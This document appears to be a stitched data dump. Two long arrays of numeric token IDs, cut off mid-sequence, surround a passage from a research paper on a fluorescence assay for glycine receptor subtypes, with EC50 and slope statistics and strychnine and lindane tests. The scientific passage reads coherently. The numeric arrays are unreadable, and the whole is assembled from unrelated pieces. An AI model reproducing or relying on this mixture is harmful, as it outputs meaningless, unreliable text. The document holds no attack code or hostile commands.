310, 1029, 15, 496, 3388, 19593, 3069, 3156, 2060, 4719, 14, 15994, 265, 497, 4561, 275, 581, 973, 6240, 598, 281, 23377, 740, 13, 933, 4719, 14, 15994, 265, 591, 31184, 14, 4714, 5340, 342, 3925, 283, 1438, 21443, 591, 5340, 15, 1916, 776, 3640, 13, 436, 1268, 273, 941, 11931, 432, 2014, 1341, 556, 417, 3786, 644, 6786, 275, 247, 2014, 3368, 13, 891, 15, 70, 15, 432, 247, 31184, 14, 4714, 5340, 15, 187, 187, 3138, 38018, 273, 253, 6981, 323, 2014, 894, 14, 3169, 5164, 6979, 4880, 187, 424, 34, 6019, 48893, 273, 8654, 6981, 2515, 15, 36225, 19630, 1341, 714, 7073, 95, 42, 17472, 45, 95, 285, 5898, 18, 30133, 24274, 497, 27677, 715, 31184, 14, 4714, 10855, 15, 380, 4466, 4646, 369, 7932, 407, 1384, 42213, 1453, 22748, 2900, 285, 1341, 497, 35014, 2378, 281, 1924, 7842, 11348, 275, 440, 371, 29233, 1375, 313, 35579, 14261, 387, 470, 26271, 45944, 481, 831, 3213, 369, 5196, 281, 5556, 885, 6753, 14, 71, 406, 1316, 272, 285, 5481, 273, 16094, 5113, 275, 5950, 2938, 297, 1813, 33884, 15, 15993, 497, 20403, 3197, 342, 6897, 42, 2900, 4508, 4860, 12865, 26406, 6299, 13, 835, 20026, 247, 2962, 273, 608, 3888, 369, 5950, 1046, 337, 15, 22, 256, 15, 380, 8840, 285, 4585, 11348, 7133, 13, 5950, 275, 253, 806, 285, 7002, 16, 25512, 394, 2460, 310, 18010, 4797, 285, 2502, 13, 2975, 13, 342, 253, 26112, 275, 10444, 3888, 18010, 14370, 15, 1401, 35, 6019, 5128, 19690, 15, 13478, 273, 16094, 1341, 1900, 6221, 247, 6832, 2408, 273, 21593, 313, 70, 15, 72, 15, 3846, 1341, 13, 1341, 13002, 714, 7073, 95, 42, 17472, 45, 95, 533, 417, 30133, 24274, 390, 1341, 843, 5250, 1309, 27651, 481, 1916, 30530, 30333, 4623, 11348, 6298, 432, 39624, 12690, 780, 941, 13, 6178, 6128, 497, 18748, 846, 12077, 6970, 13532, 15, 380, 33105, 2722, 253, 3388, 1180, 313, 10722, 3279, 7388, 10, 273, 5113, 591, 2460, 13, 17522, 432, 884, 4679, 13, 342, 1384, 12421, 4236, 21443, 591, 3368, 1078, 313, 11958, 13, 1341, 708, 21593, 10, 285, 846, 19690, 313, 25763, 264, 13, 7194, 1341, 10, 970, 2057, 273, 253, 3602, 13507, 95, 1235, 9854, 14679, 313, 79, 41, 582, 416, 63, 19, 63, 285, 13803, 39, 347, 2529, 275, 13277, 15, 1916, 5115, 247, 13493, 1180, 273, 38663, 4719, 6128, 512, 1740, 3602, 497, 5678, 323, 19690, 313, 35579, 582, 4795, 275, 1192, 89, 15, 2456, 6, 273, 941, 2792, 2783, 12207, 15, 1401, 36, 6019, 12675, 318, 273, 12650, 4719, 14, 15994, 265, 4080, 275, 247, 2014, 973, 846, 19690, 15, 496, 436, 1650, 247, 2264, 273, 25384, 313, 35579, 10, 285, 5325, 313, 11958, 10, 1341, 497, 7607, 285, 10945, 13, 2975, 15, 1401, 37, 6019, 1810, 2569, 7484, 273, 13507, 95, 1235, 95, 285, 14679, 2193, 6012, 432, 9191, 2011, 275, 5370, 330, 15, 31904, 49, 4713, 17, 15, 5831, 4103, 281, 20716, 1453, 13, 47223, 246, 14, 2566, 5774, 2041, 15, 361, 3680, 28757, 15, 72, 4699, 4253, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 94, 187, 187, 36251, 9175, 285, 37140, 42519, 1712, 84, 20, 67, 94, 187, 34638, 187, 187, 1992, 3653, 1880, 436, 6981, 812, 30530, 2190, 1027, 30133, 51, 30246, 359, 15550, 314, 820, 14, 43140, 36225, 19630, 1341, 342, 7905, 504, 14, 19579, 714, 7073, 95, 42, 17472, 45, 95, 285, 2057, 5898, 18, 13, 5898, 19, 390, 5898, 20, 30133, 51, 17060, 15, 544, 1470, 15, 495, 34, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 12646, 2014, 894, 14, 13472, 13507, 95, 1235, 95, 285, 14679, 2193, 323, 5898, 18, 13, 5898, 19, 285, 5898, 20, 30133, 24274, 5950, 275, 2060, 21443, 347, 2529, 1840, 15, 329, 332, 2961, 13507, 95, 1235, 95, 2193, 313, 249, 26271, 10, 403, 347, 3637, 27, 5898, 18, 313, 740, 15, 18, 3069, 17, 15, 21, 13, 295, 6250, 30, 6250, 14555, 582, 5898, 19, 313, 2537, 3069, 19, 13, 295, 6250, 30, 6250, 13391, 10, 285, 5898, 20, 313, 20270, 3069, 1166, 13, 295, 6250, 30, 6250, 17223, 481, 7335, 1714, 2193, 2491, 875, 470, 15, 2504, 283, 18, 15, 4529, 313, 18, 15, 746, 3069, 17, 15, 2941, 582, 470, 15, 3712, 283, 21, 15, 3655, 313, 19, 15, 4529, 3069, 17, 15, 2693, 10, 285, 470, 15, 1867, 283, 20, 15, 3079, 313, 17, 15, 4739, 3069, 17, 15, 2941, 10, 323, 5898, 18, 13, 5898, 19, 285, 5898, 20, 30133, 24274, 13, 2975, 15, 329, 332, 2961, 285, 12650, 6178, 14, 15994, 265, 432, 253, 3368, 17253, 275, 5370, 329, 403, 2011, 275, 544, 1470, 15, 374, 35, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4699, 910, 709, 14, 881, 568, 926, 7129, 187, 187, 3138, 36251, 1453, 285, 4737, 14, 1171, 14, 26985, 2113, 273, 253, 9273, 6981, 4880, 187, 424, 34, 6019, 38181, 7484, 273, 45944, 13507, 95, 1235, 95, 285, 14679, 2193, 2797, 432, 6178, 14, 10927, 4679, 342, 1341, 13002, 5898, 18, 13, 5898, 19, 285, 5898, 20, 30133, 24274, 5196, 275, 2060, 21443, 15, 1401, 35, 6019, 329, 332, 2961, 285, 12650, 4719, 14, 15994, 265, 432, 253, 3368, 17253, 275, 329, 15, 1401, 36, 6019, 23736, 273, 13507, 95, 1235, 95, 2193, 432, 253, 3368, 2011, 275, 12471, 329, 285, 378, 281, 941, 432, 2644, 14, 3992, 12097, 14, 498, 1301, 44553, 10537, 313, 34330, 285, 28589, 13, 4332, 481, 1401, 37, 6019, 14423, 14, 14095, 273, 45944, 13507, 95, 1235, 95, 275, 5898, 19, 5346, 30133, 24274, 4080, 275, 6705, 21443, 273, 247, 31184, 14, 4714, 5340, 17227, 253, 7882, 285, 47813, 273, 253, 6981, 323, 4254, 275, 1029, 14, 41416, 4438, 15, 14423, 265, 285, 22445, 398, 3148, 253, 2030, 283, 1976, 6, 285, 608, 283, 2222, 6, 941, 13794, 13, 2975, 13, 273, 512, 7607, 2193, 275, 1016, 973, 15, 1401, 38, 6019, 16686, 14, 29907, 273, 884, 26271, 298, 527, 1351, 313, 35579, 10, 285, 1884, 26271, 331, 610, 1451, 460, 313, 3243, 14370, 10, 327, 5898, 18, 285, 5898, 18, 5346, 30133, 24274, 13, 3588, 839, 776, 6981, 323, 8137, 285, 14846, 273, 17110, 36390, 30133, 24274, 15, 31904, 49, 4713, 17, 15, 5831, 4103, 281, 20716, 1453, 13, 47223, 246, 14, 2566, 5774, 2041, 15, 361, 3680, 28757, 15, 72, 4838, 4253, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 94, 187, 187, 1992, 7472, 849, 776, 1332, 26662, 281, 2644, 894, 12097, 14, 498, 1301, 44553, 10537, 13, 359, 9578, 17522, 13507, 95, 1235, 95, 2193, 432, 253, 941, 2011, 275, 544, 1470, 15, 495, 34, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 342, 2193, 3786, 4080, 275, 776, 5188, 2470, 1470, 15, 495, 36, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 2536, 3667, 1256, 1783, 313, 32448, 1386, 10, 4950, 7126, 5921, 342, 941, 432, 2644, 14, 3992, 12097, 14, 498, 1301, 44553, 10537, 313, 51, 63, 19, 63, 6250, 30, 6250, 17, 15, 1525, 481, 3308, 13, 776, 11348, 14, 3169, 1332, 323, 13424, 27866, 273, 30133, 51, 25407, 26662, 973, 342, 12097, 14, 498, 1301, 44553, 10537, 15, 187, 187, 1992, 2939, 734, 14, 4714, 38041, 359, 5950, 4719, 14, 10927, 2493, 432, 6705, 21443, 273, 247, 31184, 14, 4714, 5340, 4508, 1341, 820, 14, 31464, 714, 7073, 95, 42, 17472, 45, 95, 285, 5898, 19, 5346, 30133, 51, 6895, 14724, 15, 544, 1470, 15, 495, 37, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 2722, 247, 3817, 14, 14095, 273, 45944, 13507, 95, 1235, 95, 4080, 275, 2014, 21443, 432, 247, 2264, 273, 7251, 1047, 1341, 313, 11335, 3069, 1671, 1341, 16, 4714, 481, 380, 1599, 2014, 973, 14, 13472, 13507, 95, 1235, 95, 2193, 347, 4860, 407, 2806, 1386, 275, 8653, 12783, 6889, 875, 884, 285, 1884, 26271, 45944, 15, 380, 4583, 1698, 734, 14, 4714, 13099, 6492, 253, 6981, 310, 18960, 323, 1029, 14, 41416, 9273, 15, 187, 187, 1992, 1071, 1880, 776, 6981, 310, 7763, 281, 8137, 273, 5835, 326, 5742, 28498, 2860, 26168, 390, 6895, 26168, 30133, 24274, 13, 359, 7329, 1341, 820, 14, 31464, 714, 7073, 95, 42, 17472, 45, 95, 285, 5898, 18, 390, 5898, 18, 5346, 10185, 281, 331, 610, 1451, 460, 390, 298, 527, 1351, 1223, 9591, 253, 45944, 6178, 14, 10927, 7241, 347, 2529, 1840, 15, 544, 1470, 15, 495, 38, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 986, 2722, 17522, 45944, 13507, 95, 1235, 95, 2193, 273, 36225, 19630, 1341, 13002, 5898, 18, 390, 5898, 18, 5346, 30133, 24274, 4080, 275, 2014, 21443, 285, 7329, 281, 1453, 2900, 313, 2141, 18, 45152, 26, 15, 25, 3069, 17, 15, 22, 13, 295, 6250, 30, 6250, 18493, 28, 5898, 18, 5346, 27, 818, 15, 25, 3069, 19, 15, 20, 13, 295, 6250, 30, 6250, 16717, 10, 347, 973, 347, 281, 2900, 4508, 884, 26271, 298, 527, 1351, 390, 1884, 26271, 331, 610, 1451, 460, 13, 2975, 15, 1284, 3264, 323, 247, 8946, 12085, 25166, 326, 1057, 417, 30530, 15995, 30133, 51, 25407, 1008, 2041, 15, 361, 3680, 28757, 14, 1231, 4482, 18, 1092, 331, 610, 1451, 460, 16821, 2559, 253, 45944, 13507, 95, 1235, 95, 2193, 273, 1097, 10185, 313, 2141, 18, 45152, 26140, 3069, 1731, 13, 295, 6250, 30, 6250, 20270, 28, 5898, 18, 5346, 16493, 3069, 1010, 13, 295, 6250, 30, 6250, 16763, 10, 2470, 1470, 15, 495, 38, 1084, 2041, 14, 361, 3680, 28757, 14, 72, 4838, 910, 709, 14, 881, 568, 926, 2536, 12529, 1351, 556, 3786, 644, 2011, 275, 44553, 8673, 2175, 281, 15582, 5898, 18, 533, 417, 5898, 18, 5346, 30133, 24274, 1008, 2041, 15, 361, 3680, 28757, 14, 34330, 18, 1570, 3824, 11348, 6981, 21223, 14371, 298, 527, 1351, 13878, 1204, 273, 5898, 18, 533, 417, 5898, 18, 5346, 30133, 24274, 313, 2141, 18, 45152, 1731, 15, 21, 3069, 18, 15, 23, 13, 295, 6250, 30, 6250, 16198, 28, 5898, 18, 5346, 854, 15, 18, 3069, 17, 15, 23, 13, 295 ]

slope of the curve at half-maximal receptor activation (slope, nH) and half-maximal concentration of receptor activation (EC~50~). The settings for each parameter are listed above in Methods. [Fig. 2B](#pone-0058479-g002){ref-type="fig"} shows filtering statistics calculated from fluorescent objects recognized in 200 wells randomly selected from 10 independent experiments with 20 selected wells per experiment (n = 51469 objects, 5146.9±1823.8 objects/experiment, 257.3±91.2 objects/well). The columns display the mean number of objects (± SD) that were accepted per experiment after filtering by the parameters, EC~50~ (4731±1888; 90±7%), slope (4422±1828; 84±8%), R^2^ (4176±1999 78±13%) and ΔF (3611±876; 74±14%), respectively. When all four parameters were combined, approximately half of all recognized objects were rejected (2614±871 objects, 51±7%). [Fig. 2C](#pone-0058479-g002){ref-type="fig"} represents normalized rejected (black, n = 95) and accepted (grey, n = 186) concentration-response curves calculated from fluorescence signals measured in a randomly selected well (n = 281). The dot-plot in [Fig. 2D](#pone-0058479-g002){ref-type="fig"} shows the relation of EC~50~ and slope values. This representation was used throughout this study as it allowed clear visible discrimination of distinct functional populations. Allowing for rejected objects, the number of recorded concentration-responses per well is high. In average 131±41 individual concentration-responses were generated in one well adding up to ∼10,000 concentration-responses per 384-well plate with 60--80 wells per plate. To our knowledge, this level of data acquisition from single cells has not previously been achieved in a single experiment, i.e. from a 384-well plate. ![Development of the assay for single cell-based functional imaging.\ **A.** Determination of optimal assay conditions. HEK293 cells YFP~I152L~ and α1 GlyRs were seeded into 384-well plates. The culture medium was replaced by 20 µl control NaCl solution and cells were imaged once to record cellular fluorescence in unquenched state (grey dot at 0 µM glycine). This step was conducted to optimise auto-focussing and detection of fluorescent objects in recorded fluomicrographs. Cells were perfused with NaI solution containing indicated lycine concentrations, whereupon a series of 5 images was recorded every 1.5 s. The lowest and highest fluorescence intensity, recorded in the first and fourth/fifth image is colored blue and red, respectively, with the intensities in intermediate images colored grey. **B.** Data filtering. Images of fluorescent cells always contained a substantial amount of debris (e.g. dead cells, cells expressing YFP~I152L~ but not GlyRs or cells detaching during perfusion). To discriminate functionally relevant fluorescence signals from artefactual data, dose responses were filtered after automatic curve fitting. The histogram shows the average number (mean ± SD) of objects per image, averaged from 10 experiments, with 20 randomly selected wells per experiment before (black, cells & debris) and after filtering (striped, mainly cells) using either of the parameters EC~50~, slope (nH), R^2^ and ΔF as described in Methods. To achieve a maximal number of unbiased concentration responses all four parameters were combined for filtering (grey), resulting in approx. 50% of data points considered acceptable. **C.** Representation of normalized concentration-responses measured in a single well after filtering. In this example a total of 186 (grey) and 95 (black) cells were accepted and rejected, respectively. **D.** Scatter plot of EC~50~ and slope values derived from curves shown in panel C. \*\*\*P\<0.0001 relative to untreated control, unpaired t-test.](pone.0058479.g002){#pone-0058479-g002} Quality Control and Assay Validation {#s3b} ------------------------------------ To determine whether this assay could discriminate among different GlyR isoforms we transiently co-transfected HEK293 cells with halide-sensitive YFP~I152L~ and either α1, α2 or α3 GlyR cDNA. [Fig. 3A](#pone-0058479-g003){ref-type="fig"} displays single cell-derived EC~50~ and slope values for α1, α2 and α3 GlyRs recorded in individual wells as described above. Averaged EC~50~ values (in µM) are as follows: α1 (10.1±0.4, n = 147), α2 (49±2, n = 114) and α3 (186±17, n = 212). Slope values range between 0.47--1.92 (1.19±0.03), 0.51--4.73 (2.92±0.09) and 0.39--3.43 (0.91±0.03) for α1, α2 and α3 GlyRs, respectively. Averaged and normalized dose-responses from the experiment depicted in panel A are shown in [Fig. 2B](#pone-0058479-g002){ref-type="fig"}. ![Quality control and proof-of-principle of the screening assay.\ **A.** Dot plot of glycine EC~50~ and slope values obtained from dose-response experiments with cells expressing α1, α2 and α3 GlyRs conducted in individual wells. **B.** Averaged and normalized concentration-responses from the experiment depicted in A. **C.** Comparison of EC~50~ values from the experiment shown in panels A and B to data from whole-cell patch-clamp electrophysiology (Islam and Lynch, 2011). **D.** Box-plot of glycine EC~50~ in α2β GlyRs measured in 64 wells of a 384-well plate demonstrating the stability and usability of the assay for operation in high-throughput mode. Boxes and whiskers display the 25--75% and 5--95% data ranges, respectively, of all accepted values in each well. **E.** Drug-effects of 10 µM lindane (grey) and 30 µM strychnine (light grey) on α1 and α1β GlyRs, validating our assay for identification and characterization of chemicals modulating GlyRs. \*\*\*P\<0.0001 relative to untreated control, unpaired t-test.](pone.0058479.g003){#pone-0058479-g003} To evaluate how our method compares to whole cell patch-clamp electrophysiology, we correlated averaged EC~50~ values from the data shown in [Fig. 3A](#pone-0058479-g003){ref-type="fig"} with values previously measured in our lab ([Fig. 3C](#pone-0058479-g003){ref-type="fig"}). Regression analysis (dashed line) revealed excellent correlation with data from whole-cell patch-clamp electrophysiology (R^2^ = 0.99). Thus, our fluorescence-based method for physiological profiling of GlyR subtypes compares well with patch-clamp electrophysiology. To assess inter-well reproducibility we recorded concentration-response relations from 64 wells of a 384-well plate containing cells co-expressing YFP~I152L~ and α2β GlyR heteromers. [Fig. 3D](#pone-0058479-g003){ref-type="fig"} shows a box-plot of glycine EC~50~ measured in single wells from a total of 6514 cells (102±35 cells/well). The mean single well-derived EC~50~ values as indicated by black line in displayed boxes vary between 10 and 30 µM glycine. The overall low inter-well variability indicates the assay is suited for high-throughput screening. To test whether our assay is applicable to identification of drugs that specifically modulate homomeric or heteromeric GlyRs, we exposed cells co-expressing YFP~I152L~ and α1 or α1β receptors to strychnine or lindane while performing the glycine dose-response protocol as described above. [Fig. 3E](#pone-0058479-g003){ref-type="fig"} shows averaged glycine EC~50~ values of HEK293 cells expressing α1 or α1β GlyRs measured in single wells and exposed to control solution (α1∶9.8±0.5, n = 197; α1β: 7.8±2.3, n = 149) as well as to solution containing 10 µM lindane or 30 µM strychnine, respectively. As expected for a classical competitive antagonist that does not discriminate amongst GlyR subtypes [@pone.0058479-Webb1], strychnine dramatically increased the glycine EC~50~ values of both receptors (α1∶346±26, n = 186; α1β 121±15, n = 205) ([Fig. 3E](#pone-0058479-g003){ref-type="fig"}). Lindane has previously been shown in electrophysiological studies to inhibit α1 but not α1β GlyRs [@pone.0058479-Islam1]. Our fluorescence assay likewise demonstrates lindane antagonism of α1 but not α1β GlyRs (α1∶26.4±1.6, n = 156; α1β 8.1±0.6, n

[ 13108, 1587, 16130, 8695, 36, 35478, 3633, 32883, 3233, 4895, 2462, 69, 61, 79, 995, 391, 5902, 3233, 1168, 6870, 558, 2379, 50276, 2309, 391, 5902, 3233, 1168, 6870, 28, 190, 187, 94, 15971, 2379, 187, 28757, 401, 15, 4727, 15, 12036, 313, 18647, 10, 187, 39, 1703, 947, 1556, 7500, 24259, 15135, 16808, 2449, 13, 18160, 13, 187, 87, 15, 187, 3125, 56, 13, 21346, 15, 285, 697, 440, 39558, 9025, 13, 7500, 56, 18451, 5128, 13, 43607, 15, 187, 46, 2865, 15, 1621, 15, 11275, 14, 520, 1423, 15, 187, 11586, 2077, 4412, 2111, 13, 4412, 273, 12746, 15, 187, 21859, 721, 13, 13842, 15, 187, 11, 20664, 17966, 322, 15, 1997, 1022, 13, 401, 15, 308, 15, 330, 904, 5041, 13, 399, 15, 330, 904, 323, 11810, 15, 187, 21309, 388, 15, 19263, 1665, 13, 10512, 904, 5041, 13, 399, 15, 330, 904, 323, 15102, 15, 187, 187, 17589, 38560, 4889, 19140, 187, 41, 1277, 15930, 388, 15, 30273, 43578, 13, 4412, 6798, 15, 187, 1552, 310, 247, 12162, 762, 5238, 898, 273, 253, 7671, 17061, 5399, 3162, 13, 1458, 530, 15, 52, 15, 36, 15, 3015, 7584, 13, 285, 5238, 721, 1797, 9, 66, 10, 273, 253, 12772, 18451, 40283, 3162, 313, 39, 48319, 582, 1458, 530, 15, 52, 15, 36, 15, 3015, 1668, 3593, 84, 9, 66, 582, 281, 7767, 247, 36674, 3443, 707, 475, 19603, 716, 38655, 4681, 18, 62, 18160, 13, 253, 7671, 17061, 5399, 313, 5518, 36, 582, 14993, 253, 7177, 347, 629, 273, 271, 10800, 5839, 281, 3653, 1880, 15587, 13, 7500, 56, 13, 3690, 15, 313, 3125, 56, 582, 310, 15966, 275, 8333, 534, 20835, 2710, 7118, 273, 253, 401, 48319, 15, 187, 7910, 2390, 273, 7177, 403, 387, 2523, 275, 436, 12162, 4681, 19, 62, 380, 806, 1387, 13, 11253, 273, 7177, 1852, 209, 2874, 14, 15429, 285, 26235, 14, 19105, 13, 497, 40492, 407, 7500, 56, 327, 9905, 273, 247, 12165, 346, 1286, 14, 15419, 86, 800, 3, 15863, 15, 380, 1273, 1387, 13, 11253, 273, 7177, 1852, 12660, 14, 20700, 13, 497, 40492, 327, 9905, 273, 6834, 14, 8780, 15863, 15, 1284, 5544, 2708, 13, 253, 2111, 1057, 417, 1089, 2057, 273, 841, 9905, 281, 320, 4209, 275, 436, 1083, 15, 187, 43080, 1852, 209, 2874, 14, 15429, 285, 26235, 14, 19105, 2882, 273, 5012, 285, 6128, 18133, 407, 7500, 56, 275, 253, 2282, 273, 247, 3313, 30549, 18817, 12469, 262, 534, 13, 2556, 281, 7500, 56, 13, 556, 644, 5196, 1580, 15621, 281, 5416, 10276, 342, 7763, 5323, 407, 27, 313, 18, 10, 11850, 6447, 285, 5185, 7259, 275, 697, 7418, 7789, 10630, 2493, 14145, 13, 285, 313, 19, 10, 6684, 271, 23873, 5199, 281, 2085, 4323, 285, 4320, 5067, 342, 9865, 285, 3309, 1491, 281, 320, 908, 275, 830, 8287, 747, 285, 5520, 7823, 15, 7500, 56, 8219, 326, 1580, 253, 7177, 3831, 1881, 14, 12792, 285, 1881, 14, 68, 17425, 1204, 285, 452, 644, 4127, 690, 14, 5371, 13224, 1365, 1561, 7500, 56, 13, 597, 403, 6283, 40492, 762, 253, 346, 1286, 14, 15419, 86, 800, 3, 15863, 13, 534, 18653, 253, 2266, 1345, 3646, 273, 18462, 824, 4812, 27163, 15, 187, 510, 401, 6669, 8219, 326, 627, 310, 642, 7478, 346, 1286, 14, 15419, 86, 800, 3, 15863, 13, 3782, 275, 253, 3634, 273, 247, 1569, 10473, 6757, 434, 36674, 10473, 12162, 13, 285, 326, 13, 275, 667, 1083, 13, 841, 7177, 651, 417, 2965, 1561, 697, 1460, 1374, 15, 380, 2111, 18726, 15, 187, 6175, 275, 247, 1386, 273, 2219, 13, 5068, 342, 378, 433, 547, 362, 15, 48270, 8896, 13, 3690, 904, 2456, 401, 15, 51, 15, 37, 15, 29503, 313, 37, 15, 37, 15, 36, 15, 20686, 582, 3286, 7829, 452, 13, 275, 253, 5763, 273, 616, 8637, 13, 5868, 8900, 273, 2176, 346, 1286, 14, 15419, 86, 800, 3, 4753, 281, 3055, 42024, 1103, 835, 271, 16400, 1345, 1600, 25973, 616, 4821, 39581, 17555, 20, 62, 16939, 7829, 452, 417, 2218, 594, 15, 2594, 13, 299, 15, 305, 904, 39736, 362, 15, 1893, 15, 34289, 5720, 11294, 13, 40520, 401, 15, 19, 69, 1249, 3141, 313, 19, 69, 4082, 15, 14752, 481, 1284, 369, 8042, 562, 275, 24395, 362, 15, 330, 405, 2072, 50214, 2434, 904, 10677, 401, 15, 51, 15, 37, 15, 43111, 13, 39603, 313, 38, 15, 37, 15, 30461, 15, 14960, 582, 346, 783, 12165, 15863, 964, 964, 964, 387, 253, 954, 4558, 8127, 17011, 285, 556, 417, 3839, 644, 7478, 15, 964, 964, 17212, 187, 21342, 13, 627, 403, 642, 2219, 275, 534, 247, 1569, 10473, 6757, 13, 8445, 7177, 10376, 281, 697, 11315, 36674, 1612, 275, 253, 2282, 273, 271, 5839, 13, 556, 644, 5868, 824, 8900, 4681, 21, 62, 496, 326, 475, 18121, 2743, 13, 253, 7829, 452, 17568, 9284, 281, 9446, 247, 346, 13552, 587, 463, 449, 2594, 13, 299, 15, 305, 904, 27523, 28241, 2434, 15, 362, 15, 416, 7640, 4379, 13, 45421, 401, 15, 19, 69, 721, 3571, 13, 46753, 313, 21, 394, 4082, 15, 14828, 558, 1986, 2077, 362, 15, 1621, 455, 13, 48962, 401, 15, 19, 69, 15567, 13, 11140, 14, 1731, 313, 19, 69, 4082, 15, 14304, 481, 29036, 28896, 362, 15, 19989, 45217, 14, 35848, 571, 2434, 904, 8676, 401, 15, 51, 15, 37, 15, 34360, 313, 47, 15, 37, 15, 20750, 15, 25197, 10, 313, 9486, 11081, 8341, 2550, 4044, 12611, 1304, 18918, 3257, 2567, 434, 4503, 8410, 5107, 3237, 285, 25712, 5659, 10, 342, 27523, 6365, 932, 2434, 15, 362, 15, 35290, 6091, 10391, 13, 9253, 313, 5607, 3231, 476, 4044, 10125, 273, 5079, 3570, 10276, 2086, 285, 2905, 7177, 481, 187, 9586, 604, 436, 2111, 497, 281, 9446, 253, 15863, 13, 2299, 13, 347, 253, 2219, 9433, 352, 1127, 562, 13, 352, 310, 760, 247, 12165, 581, 13, 285, 7500, 56, 434, 40492, 7177, 651, 417, 2965, 1561, 697, 1460, 1374, 4681, 22, 62, 496, 954, 10872, 13, 253, 1682, 4973, 273, 1491, 670, 10459, 4712, 403, 10459, 46373, 6297, 4158, 281, 2085, 4323, 342, 253, 1491, 3309, 281, 1056, 8191, 2136, 7089, 15, 380, 7177, 387, 2523, 1060, 3831, 1491, 387, 253, 2798, 273, 253, 401, 6669, 434, 5839, 15, 1707, 310, 1900, 271, 1736, 8584, 878, 323, 39581, 13, 285, 3603, 273, 1881, 14, 15419, 2368, 285, 1783, 13, 342, 1675, 281, 841, 4973, 15, 496, 326, 2743, 13, 253, 2111, 1057, 417, 2997, 7500, 56, 434, 16867, 17077, 326, 15824, 616, 13911, 588, 452, 247, 346, 348, 3867, 1055, 3, 327, 2852, 1881, 14, 15419, 86, 800, 4712, 15, 733, 778, 320, 24874, 326, 18674, 588, 4035, 281, 5724, 3746, 281, 5416, 616, 10276, 342, 253, 1569, 13, 347, 597, 452, 2218, 275, 253, 2469, 13, 1293, 253, 2879, 25275, 273, 247, 346, 2034, 453, 1208, 86, 800, 3, 15863, 15, 187, 2214, 841, 4606, 13, 253, 2111, 6556, 326, 43577, 1852, 209, 2874, 14, 15429, 285, 26235, 14, 19105, 403, 417, 30082, 285, 1364, 320, 4197, 15, 496, 1340, 281, 4017, 667, 3367, 12656, 273, 11068, 534, 778, 275, 1568, 275, 731, 13, 2299, 13, 253, 2111, 588, 1340, 12488, 1491, 281, 320, 16737, 432, 8183, 27163, 15, 187, 43080, 1852, 12660, 14, 20700, 2882, 273, 247, 10419, 323, 789, 281, 320, 2684, 323, 7500, 56, 407, 253, 22681, 5489, 6516, 313, 52, 4873, 582, 247, 12611, 7482, 1304, 13, 285, 247, 2457, 1304, 8549, 281, 7500, 56, 15, 7500, 56, 14993, 281, 342, 4949, 841, 7177, 1754, 2220, 253, 6834, 14, 8780, 15863, 13, 327, 253, 3216, 326, 597, 21075, 7500, 56, 434, 16099, 275, 16344, 7500, 56, 434, 6152, 9610, 985, 285, 275, 13828, 323, 1896, 15561, 342, 253, 401, 6669, 15, 831, 1750, 310, 417, 34593, 15, 187, 6407, 13, 1014, 7384, 253, 7177, 497, 3562, 281, 7895, 4320, 7535, 13, 253, 4342, 497, 10481, 41443, 1561, 7500, 56, 347, 281, 2297, 366, 253, 8208, 273, 39581, 15, 2091, 247, 3389, 310, 5480, 323, 19645, 2278, 407, 1327, 14, 7685, 347, 973, 347, 4320, 11570, 13, 352, 310, 417, 2783, 281, 452, 644, 5480, 8558, 281, 7703, 4320, 7535, 285, 253, 6834, 14, 8780, 15863, 1057, 417, 4647, 15, 1986, 2077, 362, 15, 5625, 10518, 20310, 1100, 9537, 904, 9523, 401, 15, 51, 15, 37, 15, 25193, 13, 25098, 313, 52, 15, 37, 15, 47, 15, 58, 15, 22062, 36033, 23, 62, 187, 7673, 15538, 13, 2299, 13, 253, 7177, 497, 5480, 407, 271, 10726, 3345, 273, 7500, 56, 15, 380, 10158, 14, 8975, 15863, 1057, 417, 9017, 281, 1491, 285, 7234, 2797, 407, 271, 6834, 432, 2626, 7732, 15, 854, 17025, 708, 11418, 13, 7671, 23208, 285, 18809, 27, 10109, 3015, 4240, 387, 14509, 313, 20686, 558, 25080, 362, 15, 24263, 8170, 2434, 904, 9901, 401, 15, 51, 15, 37, 15, 7652, 13, 7904, 14, 2385, 313, 38, 15, 37, 15, 9387, 15, 22700, 558, 60, 24, 62, 16082, 17802, 13, 3690, 15, 475, 18467, 362, 15, 26096, 255, 1406, 2434, 904, 8255, 401, 15, 51, 15, 37, 15, 7127, 313, 47, 15, 37, 15, 4218, 338, 15, 16609, 481, 3308, 13, 253, 15863, 1057, 417, 9017, 281, 1491, 10557, 281, 271, 6834, 407, 247, 1436, 3345, 253, 6003, 273, 247, 10459, 5268, 285, 697, 35751, 15, 1986, 2077, 362, 15, 1986, 1608, 3703, 20310, 16029, 9537, 904, 11289, 401, 15, 4727, 15, 34506, 13, 38080, 14, 3046, 313, 37, 15, 23067, 15, 32522, 558, 3228, 273, 14289, 362, 15, 4255, 272, 5967, 21171, 9537, 904, 20048, 401, 15, 4727, 15, 42998, 13, 40783, 313, 38, 15, 37, 15, 9387, 15, 32796, 481, 380, 22681, 5489, 6516, 310, 824, 271, 6024, 10726, 15, 187, 2214, 841, 4606, 253, 2111, 6556, 326, 43577, 1852, 12660, 14, 20700, 403, 417, 30082, 285, 1364, 320, 4197, 15, 187, 23135, 13, 352, 310, 436, 608, 394, 1388, 273, 4397, 13, 13842, 13, 187, 24066, 1703, 2064, 11810, 434, 2898, 281, 7767, 10276, 342, 697, 36674, 3443, 707, 716, 38655, 320, 285, 352, 310, 20585, 7169, 13, 285, 352, 310, 2007, 187, 24066, 1703, 2064, 15587, 4711, 6593, 3113, 281, 11810, 43577, 1852, 209, 2874, 14, 15429, 285, 12660, 14, 19105, 347, 2931, 11249, 15, 187, 24963, 187, 60, 18, 62, 50276, 510, 36674, 369, 8927, 6808, 327, 2552, 3127, 13, 14828, 13, 285, 556, 1580, 644, 17265, 15, 187, 60, 19, 62, 50276, 34, 2626, 1387, 13, 11253, 273, 7177, 1852, 23541, 14, 17864, 13, 497, 40492, 327, 9905, 273, 6834, 14, 8780, 15863, 15, 1284, 253, 906, 273, 1491, 4197, 275, 7500, 